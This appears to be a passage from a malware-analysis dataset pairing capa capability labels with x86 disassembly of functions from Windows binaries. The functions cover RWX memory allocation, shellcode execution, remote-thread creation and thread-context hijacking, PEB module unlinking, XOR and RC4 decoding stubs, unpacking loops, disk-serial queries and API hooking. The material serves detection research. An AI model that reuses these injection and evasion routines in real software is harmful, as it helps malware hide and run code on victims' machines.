joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004740
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x1002b0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x18]
push esi
push edi
mov edi, dword [ebp + 0x14]
mov eax, dword [ecx]
push 0x10044474
push ecx
call dword [eax + 0xc0]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xa4]
push eax
push 0x40
push 0x40
lea eax, [ebp - 0xa0]
mov dword [0x10044478], 0
push eax
mov dword [0x10044474], 0
mov dword [0x10044484], 0
mov dword [0x10044488], 0x3f800000
call esi
movups xmm0, xmmword [0x100265d0]
lea eax, [ebp - 0xa4]
push eax
push dword [ebp - 0xa4]
movups xmmword [ebp - 0xa0], xmm0
push 0x40
movups xmm0, xmmword [0x100265e0]
lea eax, [ebp - 0xa0]
push eax
movups xmmword [ebp - 0x90], xmm0
movups xmm0, xmmword [0x100265f0]
movups xmmword [ebp - 0x80], xmm0
movups xmm0, xmmword [0x10026600]
movups xmmword [ebp - 0x70], xmm0
call esi
mov eax, dword [0x10044888]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [0x100443c4]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0xa8]
mov dword [ebp - 0xac], ecx
mov ecx, dword [ebp - 0xac]
mov eax, 0x10044718
call eax
mov ecx, dword [0x10044888]
mov esi, eax
mov ecx, dword [ecx]
mov dword [ebp - 0xa8], ecx
mov ecx, dword [0x100443c4]
mov ecx, dword [ecx]
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp - 0xa8]
add ecx, dword [ebp - 0xa4]
mov dword [ebp - 0xb0], ecx
mov ecx, dword [ebp - 0xb0]
mov eax, 0x1004480c
call eax
lea ecx, [ebp - 0xa0]
push ecx
push esi
push eax
push 0x10044474
lea edx, [ebp + 8]
lea ecx, [ebp - 0xbc]
call fcn.10002880
movss xmm3, dword [ebp - 0xb4]
movss xmm0, dword [0x10028284]
comiss xmm0, xmm3
jbe 0x10004923
movss xmm1, dword [ebp - 0xbc]
xorps xmm0, xmm0
comiss xmm1, xmm0
jbe 0x10004923
movss xmm2, dword [ebp - 0xb8]
comiss xmm2, xmm0
jbe 0x10004923
mov eax, dword [0x1004447c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x10028f00]
cvtpd2ps xmm0, xmm0
comiss xmm0, xmm1
jbe 0x10004923
mov eax, dword [0x10044480]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x10028f00]
cvtpd2ps xmm0, xmm0
comiss xmm0, xmm2
jbe 0x10004923
movss dword [edi], xmm1
mov al, 1
movss dword [edi + 4], xmm2
movss dword [edi + 8], xmm3
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10022a15
mov esp, ebp
pop ebp
ret 0x14
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.10022a15
mov esp, ebp
pop ebp
ret 0x14
Function at 0x1001eb40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
mov eax, dword [0x1002b0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.ntdll
mov dword [ebp - 0x2d8], edx
mov dword [ebp - 0x2dc], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor esi, esi
push esi
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 8
lea ebx, [esi + 8]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx edi, al
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx eax, al
mov ecx, ebx
or eax, edi
shl eax, cl
or esi, eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, ebx
movzx eax, al
shl eax, cl
add ebx, 8
or esi, eax
cmp ebx, 0x20
jl 0x1001eb83
cmp esi, 0x7fffffff
jbe 0x1001ebdb
lea eax, [esi - 0x80000000]
shr eax, 0xc
inc eax
nop word [eax + eax]
sub esi, 0x1000
sub eax, 1
jne 0x1001ebd0
push 0
push 0x40
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.RtlCreateUserThread
push str.ntdll
mov dword [ebp - 0x2d4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [ebp - 0x2d8]
mov ebx, eax
mov edi, dword [edi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
lea ecx, [ebp - 0x2d4]
push ecx
push edi
push esi
push 0
push 0
push 0
push 1
push 0
push eax
call ebx
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x2d0], 0x10003
push eax
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x2d0]
push eax
push dword [ebp - 0x2d4]
mov dword [ebp - 0x2d0], 0x10003
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022a15
mov esp, ebp
pop ebp
ret
Function at 0x10020010
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1002b0c0]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
jne 0x1002014c
lea edx, [ebp - 8]
mov ecx, 0x1001fda0
call fcn.1001eb40
lea edx, [ebp - 8]
mov ecx, 0x1001fdb0
call fcn.1001eb40
mov ecx, dword [0x11ddaf74]
mov eax, dword [0x11ddaf70]
cmp eax, ecx
je 0x10020073
mov edx, dword [ebp - 8]
nop dword [eax]
cmp dword [eax], edx
je 0x1002006b
add eax, 0x14
cmp eax, ecx
jne 0x10020060
cmp eax, ecx
jne 0x1002014c
mov eax, dword fs:[0x30]
push esi
mov eax, dword [eax + 0xc]
add eax, 0xc
mov esi, dword [eax]
cmp esi, eax
je 0x1002009f
mov ecx, dword [ebp - 8]
nop dword [eax]
test esi, esi
je 0x1002009f
cmp dword [esi + 0x18], ecx
je 0x100200b5
mov esi, dword [esi]
cmp esi, eax
jne 0x10020090
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10022a15
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [esi + 4]
push ebx
push edi
mov dword [ebp - 0x1c], ecx
mov edx, dword [eax]
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0xc], esi
mov edi, dword [eax]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x10], edi
mov ebx, dword [eax]
mov eax, dword [0x11ddaf74]
mov dword [ebp - 0x14], ebx
cmp eax, dword [0x11ddaf78]
je 0x100200f9
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], esi
add dword [0x11ddaf74], 0x14
jmp 0x10020103
lea ecx, [ebp - 0x1c]
push ecx
push eax
call fcn.10020c40
mov ecx, dword [esi]
mov eax, dword [esi + 4]
pop edi
pop ebx
mov dword [ecx + 4], eax
mov ecx, dword [esi + 4]
mov eax, dword [esi]
mov dword [ecx], eax
mov ecx, dword [esi + 0x10]
mov eax, dword [esi + 0x14]
mov dword [ecx + 4], eax
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
mov dword [ecx], eax
mov ecx, dword [esi + 8]
mov eax, dword [esi + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 8]
pop esi
mov dword [ecx], eax
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10022a15
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.10022a15
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10020a90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 2
xor eax, eax
mov dl, byte [edi + eax + 0x2c81f264]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x10020abe
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x26
jl 0x10020aa1
pop edi
mov byte [esi + 0x26], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x100211c0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37c8
call fcn.100238c0
mov eax, dword [0x1002b0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [ecx]
lea eax, [ebp - 0x108]
xor esi, esi
push str..PhysicalDrive_d
push eax
call fcn.10021ac0
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push esi
push 3
push esi
push 3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100213e3
push 0x2710
lea eax, [ebp - 0x37b8]
mov dword [ebp - 0x37bc], esi
push esi
push eax
mov dword [ebp - 0x37c0], esi
mov dword [ebp - 0x37c8], esi
mov dword [ebp - 0x37c4], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push esi
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c8]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x100213d6
mov edx, dword [ebp - 0x37ac]
lea eax, [ebp - 0x8d8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10021020
mov edx, dword [ebp - 0x37a8]
lea eax, [ebp - 0xcc0]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10021020
mov edx, dword [ebp - 0x37a4]
lea eax, [ebp - 0x10a8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10021020
mov edx, dword [ebp - 0x37a0]
lea eax, [ebp - 0x4f0]
push eax
push 1
lea ecx, [ebp - 0x37b8]
call fcn.10021020
add esp, 0x20
cmp byte [0x11dd9b70], 0
jne 0x10021399
movsx eax, byte [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
jne 0x10021312
movsx eax, byte [ebp - 0x4dd]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
je 0x10021399
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8d8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x11dd976f], al
test al, al
jne 0x10021320
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xcc0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x11dd8f6f], al
test al, al
jne 0x10021340
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4f0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x11dd9b6f], al
test al, al
jne 0x10021360
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x10a8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x11dd936f], al
test al, al
jne 0x10021380
mov esi, 1
push 0x2710
lea eax, [ebp - 0x37b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0
push 0
push 0x700a0
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x100213dc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10022a15
mov esp, ebp
pop ebp
ret
Function at 0x100224f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41da30
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x41dbb8
pushal
mov esi, section.UPX1
lea edi, [esi - 0x13000]
push edi
or ebp, 0xffffffff
jmp 0x41da5a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41da61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41da50
mov eax, 1
add ebx, ebx
jne 0x41da73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41da68
jne 0x41da84
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41da68
xor ecx, ecx
sub eax, 3
jb 0x41da98
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41db0a
mov ebp, eax
add ebx, ebx
jne 0x41daa3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41dab0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41dad4
inc ecx
add ebx, ebx
jne 0x41dac0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41dab5
jne 0x41dad1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41dab5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41daf4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41dae5
jmp 0x41da56
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41daf4
add edi, ecx
jmp 0x41da56
pop esi
mov edi, esi
mov ecx, 0x85f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41db12
cmp byte [edi], 1
jne 0x41db12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41db17
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41db86
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1da24]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1da9c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41db44
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1daa0]
or eax, eax
je 0x41db80
mov dword [ebx], eax
add ebx, 4
jmp 0x41db61
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41dbb7
cmp al, 0xef
ja 0x41dbaa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x41db8c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x41db99
popal
jmp 0x412230

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..reloc
nop
mov ebx, 0x40c7d0
mov ecx, 0x46597436
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..rdata
mov ebx, 0x42f314
nop
mov ecx, 0x5b5b2dfd
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x371a3452
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
mov eax, str.ZF
nop
mov ebx, 0x42f314
nop
mov ecx, 0x23c2135a
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401177
Capabilities:
Create process on windows
Get common file path
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x402008]
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
xor ebx, ebx
push 0x40
pop ecx
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov byte [ebp - 0x20c], bl
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
push 0x40
mov byte [ebp - 0x108], bl
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
dec eax
dec eax
mov dword [ebp - 0x210], edx
mov dword [ebp - 0x214], esi
je 0x40129c
sub eax, 0x1c
jne 0x40128b
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
push dword [ebp - 0x214]
push dword [ebp - 0x210]
call fcn.004010dd
cmp eax, 0xffffffff
jne 0x401213
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40128d
lea ecx, [ebp - 0x224]
push ecx
push ebx
push 0x40107c
push eax
call dword [sym.imp.SETUPAPI.dll_SetupFindFirstLineA]
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
je 0x401256
push ebx
push esi
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x218]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.SETUPAPI.dll_SetupGetStringFieldA]
lea eax, [ebp - 0x108]
push eax
call edi
lea eax, [ebp - 0x108]
push eax
call edi
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x20c]
push eax
call edi
push 2
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.00401362
leave
ret 0x10
mov eax, dword [ebp + 0x14]
cmp dword [eax], ebx
jne 0x40128b
push ebx
push 4
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
push 0x10
push esi
push edx
call dword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceRegistryPropertyA]
mov eax, 0xe0000226
jmp 0x40128d
Function at 0x40e447
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40e456
pop dword [ebp - 0x3c]
mov eax, 0x3664f0ff
add eax, 0xc9dbf357
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x3cb06
push 0
mov eax, 0x480e824b
sub eax, 0x47cc3033
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x485d67af
add ecx, 0xb7a2dbea
xor edi, edi
add edi, eax
mov ebx, 0xad997b8e
add ebx, 0x52a9d872
add ebx, dword [ebp - 0x3c]
mov esi, 0xff51d684
xor dword [ebp - 0x14], 0xc54a4fda
mov edx, dword [ebx]
add dword [ebp - 0x30], 0x4e31fa5b
sub edx, esi
mov dword [ebp - 0x18], 0x72098190
mov dword [edi], edx
xor dword [ebp - 0x34], 0x704de670
add edi, 4
add ebx, 0x77e3aa5
sub ebx, 0x77e3aa1
loop 0x40e4b1
add eax, 0x10137
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x61426e27
add ecx, 0x9efd91d9
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10002310
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.100024e0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x100023ed
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1000235a
mov eax, dword [ebp - 4]
cmp eax, dword [0x10019004]
ja 0x1000235a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1000232a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10007580
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1000237f
jmp 0x100023ed
cmp dword [ebp - 0x14], 0x10000
jne 0x100023d3
cmp dword [ebp - 0x18], 0x10000
jb 0x100023d3
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100023b6
mov eax, dword [ebp - 8]
jmp 0x100023ef
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x100023c6
xor eax, eax
jmp 0x100023ef
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100023e8
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.100024e0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000232a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10002400
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10002510
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x100024d5
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x10002445
mov eax, dword [ebp - 4]
cmp eax, dword [0x10019004]
ja 0x10002445
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10002415
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10007580
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1000246a
jmp 0x100024d5
cmp dword [ebp - 0x14], 0x10000
jne 0x100024be
cmp dword [ebp - 0x18], 0x10000
jb 0x100024be
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100024a1
mov eax, dword [ebp - 8]
jmp 0x100024d7
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x100024b1
xor eax, eax
jmp 0x100024d7
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100024d0
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10002510
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10002415
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10002540
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10002930
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x100199ec], 0
jne 0x1000257d
cmp dword [0x100199e8], 0
je 0x1000257d
mov eax, dword [0x100199e8]
mov dword [0x100199ec], eax
cmp dword [0x100199ec], 0
je 0x100025fa
mov ecx, dword [0x100199ec]
cmp dword [ecx + 8], 0
je 0x100025fa
mov edx, dword [0x100199ec]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x100025fa
mov ecx, dword [0x100199ec]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x100025fa
mov eax, dword [0x100199ec]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x100025c9
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x100025d0
xor eax, eax
jmp 0x10002719
mov ecx, dword [0x100199ec]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.10007580
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x10002719
mov edx, dword [0x100199e8]
mov dword [0x100199ec], edx
jmp 0x10002616
mov eax, dword [0x100199ec]
mov ecx, dword [eax + 4]
mov dword [0x100199ec], ecx
cmp dword [0x100199ec], 0
je 0x10002656
cmp dword [0x100199ec], 0
je 0x10002654
mov edx, dword [0x100199ec]
cmp dword [edx + 8], 0
je 0x10002654
mov eax, dword [0x100199ec]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x10002654
mov edx, dword [0x100199ec]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x10002654
jmp 0x100025ae
jmp 0x10002608
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10002720
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10002717
mov eax, dword [ebp - 0x18]
mov dword [0x100199ec], eax
mov ecx, dword [0x100199ec]
mov dword [ecx], 0x52727464
mov edx, dword [0x100199ec]
mov dword [edx + 8], 0
mov eax, dword [0x100199ec]
mov ecx, dword [0x100199e8]
mov dword [eax + 4], ecx
mov edx, dword [0x100199ec]
mov dword [0x100199e8], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x100199ec]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x100026e7
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
